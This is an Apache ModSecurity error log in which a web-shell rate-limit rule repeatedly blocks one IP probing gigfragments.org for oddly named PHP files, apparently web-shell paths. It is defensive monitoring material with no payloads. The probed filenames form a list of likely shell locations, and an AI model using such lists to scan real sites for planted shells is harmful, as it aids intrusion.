[Sun Apr 12 09:22:28.409780 2026] [:error] [pid 25328:tid 25377] [client 74.248.34.0:9191] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adrz1MxUaQZxT-e0YsA3uAAAAEo"]
[Sun Apr 12 09:22:30.139536 2026] [:error] [pid 26600:tid 26646] [client 74.248.34.0:9100] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adrz1u1YwAZiXhQKLYqsMAAAAZE"]
[Sun Apr 12 09:22:31.340434 2026] [:error] [pid 26600:tid 26629] [client 74.248.34.0:9183] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adrz1-1YwAZiXhQKLYqsNAAAAYA"]
[Sun Apr 12 09:22:32.301455 2026] [:error] [pid 25437:tid 25455] [client 74.248.34.0:9025] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adrz2Hf97wYZje1ep_OPLQAAANA"]
[Sun Apr 12 09:22:33.292053 2026] [:error] [pid 25437:tid 25458] [client 74.248.34.0:9184] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adrz2Xf97wYZje1ep_OPNQAAANM"]
[Sun Apr 12 09:22:36.551580 2026] [:error] [pid 25437:tid 25451] [client 74.248.34.0:9211] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrz3Hf97wYZje1ep_OPPAAAAMw"]
[Sun Apr 12 09:22:38.805080 2026] [:error] [pid 25327:tid 25344] [client 74.248.34.0:9202] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrz3i6h2tZEVJo9JFJz7wAAAAg"]
[Sun Apr 12 09:22:40.156653 2026] [:error] [pid 25328:tid 25375] [client 74.248.34.0:9176] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrz4MxUaQZxT-e0YsA30gAAAEk"]
[Sun Apr 12 09:22:41.632408 2026] [:error] [pid 25327:tid 25347] [client 74.248.34.0:9050] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrz4S6h2tZEVJo9JFJz8wAAAAs"]
[Sun Apr 12 09:22:42.780246 2026] [:error] [pid 25437:tid 25460] [client 74.248.34.0:9135] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adrz4nf97wYZje1ep_OPQgAAANU"]
[Sun Apr 12 09:22:43.824266 2026] [:error] [pid 25437:tid 25451] [client 74.248.34.0:9094] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adrz43f97wYZje1ep_OPSQAAAMw"]
[Sun Apr 12 09:22:44.462582 2026] [:error] [pid 25328:tid 25394] [client 74.248.34.0:9188] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adrz5MxUaQZxT-e0YsA34AAAAFI"]
[Sun Apr 12 09:22:45.558800 2026] [:error] [pid 60280:tid 60299] [client 74.248.34.0:9114] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adrz5XBlLnDOYuIykkhAiAAAAdE"]
[Sun Apr 12 09:22:46.926117 2026] [:error] [pid 25327:tid 25356] [client 74.248.34.0:9181] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adrz5i6h2tZEVJo9JFJz-AAAABQ"]
[Sun Apr 12 09:22:48.352658 2026] [:error] [pid 26599:tid 26602] [client 74.248.34.0:9098] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adrz6HG89LXoQbk_rwB7zQAAAUA"]
[Sun Apr 12 09:22:49.475817 2026] [:error] [pid 25328:tid 25401] [client 74.248.34.0:9195] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adrz6cxUaQZxT-e0YsA39wAAAFU"]
[Sun Apr 12 09:22:51.076507 2026] [:error] [pid 60280:tid 60294] [client 74.248.34.0:9196] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adrz63BlLnDOYuIykkhAowAAAcw"]
[Sun Apr 12 09:22:51.999930 2026] [:error] [pid 25327:tid 25344] [client 74.248.34.0:9162] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adrz6y6h2tZEVJo9JFJz-wAAAAg"]
[Sun Apr 12 09:22:53.561088 2026] [:error] [pid 26599:tid 26609] [client 74.248.34.0:9120] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adrz7XG89LXoQbk_rwB7zwAAAUc"]
[Sun Apr 12 09:22:56.788128 2026] [:error] [pid 25327:tid 25342] [client 74.248.34.0:9155] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adrz8C6h2tZEVJo9JFJz_AAAAAY"]
[Sun Apr 12 09:23:20.946305 2026] [:error] [pid 26567:tid 26579] [client 74.248.34.0:9093] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adr0CHhRpg6ptWFyFx05YgAAAQo"]
[Sun Apr 12 09:23:22.245127 2026] [:error] [pid 25328:tid 25380] [client 74.248.34.0:9177] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adr0CsxUaQZxT-e0YsA4RgAAAEw"]
[Sun Apr 12 09:23:23.625545 2026] [:error] [pid 25437:tid 25450] [client 74.248.34.0:9199] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adr0C3f97wYZje1ep_OPlwAAAMs"]
[Sun Apr 12 09:23:24.471553 2026] [:error] [pid 25437:tid 25461] [client 74.248.34.0:9151] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adr0DHf97wYZje1ep_OPmQAAANY"]
[Sun Apr 12 09:23:25.338711 2026] [:error] [pid 25329:tid 25397] [client 74.248.34.0:9138] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adr0DWdcIYsS8Iyaj11mGwAAAIw"]
[Sun Apr 12 09:23:26.709019 2026] [:error] [pid 25437:tid 25462] [client 74.248.34.0:9213] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adr0Dnf97wYZje1ep_OPnwAAANc"]
[Sun Apr 12 09:23:27.473720 2026] [:error] [pid 26599:tid 26609] [client 74.248.34.0:9102] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adr0D3G89LXoQbk_rwB73QAAAUc"]
[Sun Apr 12 09:23:28.399837 2026] [:error] [pid 25328:tid 25379] [client 74.248.34.0:9108] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adr0EMxUaQZxT-e0YsA4VAAAAEs"]
[Sun Apr 12 09:23:30.026807 2026] [:error] [pid 25437:tid 25440] [client 74.248.34.0:9105] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adr0Enf97wYZje1ep_OPpAAAAME"]
[Sun Apr 12 09:23:31.537755 2026] [:error] [pid 25437:tid 25450] [client 74.248.34.0:9028] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adr0E3f97wYZje1ep_OPqAAAAMs"]
[Sun Apr 12 09:23:34.430875 2026] [:error] [pid 25328:tid 25375] [client 74.248.34.0:9166] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adr0FsxUaQZxT-e0YsA4dAAAAEk"]
[Sun Apr 12 09:23:35.913705 2026] [:error] [pid 26567:tid 26586] [client 74.248.34.0:9168] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adr0F3hRpg6ptWFyFx05gwAAARE"]
[Sun Apr 12 09:23:37.376599 2026] [:error] [pid 25437:tid 25458] [client 74.248.34.0:9158] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adr0GXf97wYZje1ep_OPugAAANM"]
[Sun Apr 12 09:23:39.532587 2026] [:error] [pid 25328:tid 25369] [client 74.248.34.0:9198] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adr0G8xUaQZxT-e0YsA4hwAAAEU"]
[Sun Apr 12 09:23:41.554209 2026] [:error] [pid 25328:tid 25394] [client 74.248.34.0:9104] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adr0HcxUaQZxT-e0YsA4lgAAAFI"]
[Sun Apr 12 09:23:43.910763 2026] [:error] [pid 26600:tid 26644] [client 74.248.34.0:9109] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adr0H-1YwAZiXhQKLYqsgAAAAY8"]
[Sun Apr 12 09:23:46.070902 2026] [:error] [pid 26600:tid 26638] [client 74.248.34.0:9160] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adr0Iu1YwAZiXhQKLYqsgwAAAYk"]
[Sun Apr 12 09:23:51.071783 2026] [:error] [pid 25328:tid 25403] [client 74.248.34.0:9049] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adr0J8xUaQZxT-e0YsA4rgAAAFY"]
[Sun Apr 12 09:23:54.280278 2026] [:error] [pid 25437:tid 25457] [client 74.248.34.0:9212] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adr0Knf97wYZje1ep_OPzgAAANI"]
[Sun Apr 12 09:23:57.710318 2026] [:error] [pid 60280:tid 60302] [client 74.248.34.0:9130] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adr0LXBlLnDOYuIykkhBaAAAAdQ"]
[Sun Apr 12 09:24:01.199546 2026] [:error] [pid 25437:tid 25439] [client 74.248.34.0:9182] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adr0MXf97wYZje1ep_OP1wAAAMA"]
[Sun Apr 12 09:24:02.700784 2026] [:error] [pid 25327:tid 25346] [client 74.248.34.0:9052] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adr0Mi6h2tZEVJo9JFJ0MQAAAAo"]
[Sun Apr 12 09:24:06.201294 2026] [:error] [pid 60280:tid 60293] [client 74.248.34.0:9167] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adr0NnBlLnDOYuIykkhBgQAAAcs"]
[Sun Apr 12 09:24:08.290805 2026] [:error] [pid 60280:tid 60296] [client 74.248.34.0:9190] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adr0OHBlLnDOYuIykkhBjwAAAc4"]
[Sun Apr 12 09:24:09.390800 2026] [:error] [pid 60280:tid 60294] [client 74.248.34.0:9186] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adr0OXBlLnDOYuIykkhBlQAAAcw"]
[Sun Apr 12 09:24:10.129084 2026] [:error] [pid 60280:tid 60306] [client 74.248.34.0:9097] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adr0OnBlLnDOYuIykkhBmwAAAdg"]
[Sun Apr 12 09:24:11.277785 2026] [:error] [pid 25328:tid 25394] [client 74.248.34.0:9141] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adr0O8xUaQZxT-e0YsA4xQAAAFI"]
[Sun Apr 12 09:24:12.148541 2026] [:error] [pid 60280:tid 60304] [client 74.248.34.0:9193] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adr0PHBlLnDOYuIykkhBpQAAAdY"]
[Sun Apr 12 09:24:12.993063 2026] [:error] [pid 26600:tid 26650] [client 74.248.34.0:9192] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adr0PO1YwAZiXhQKLYqslwAAAZU"]
[Sun Apr 12 09:24:14.479899 2026] [:error] [pid 60280:tid 60304] [client 74.248.34.0:9171] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adr0PnBlLnDOYuIykkhBtAAAAdY"]
[Sun Apr 12 09:24:16.509056 2026] [:error] [pid 25328:tid 25398] [client 74.248.34.0:9065] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adr0QMxUaQZxT-e0YsA4zgAAAFQ"]
[Sun Apr 12 09:24:18.169898 2026] [:error] [pid 25328:tid 25375] [client 74.248.34.0:9159] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adr0QsxUaQZxT-e0YsA41AAAAEk"]
[Sun Apr 12 09:24:39.706882 2026] [:error] [pid 25437:tid 25450] [client 74.248.34.0:9140] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maintura.php"] [unique_id "adr0V3f97wYZje1ep_OQLAAAAMs"]
[Sun Apr 12 09:24:40.556365 2026] [:error] [pid 25328:tid 25398] [client 74.248.34.0:9032] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maintura.php"] [unique_id "adr0WMxUaQZxT-e0YsA5AQAAAFQ"]
[Sun Apr 12 09:24:41.589908 2026] [:error] [pid 26599:tid 26617] [client 74.248.34.0:9144] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maintura.php"] [unique_id "adr0WXG89LXoQbk_rwB8DAAAAU8"]
[Sun Apr 12 09:24:42.521738 2026] [:error] [pid 60280:tid 60300] [client 74.248.34.0:9164] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maintura.php"] [unique_id "adr0WnBlLnDOYuIykkhB2QAAAdI"]
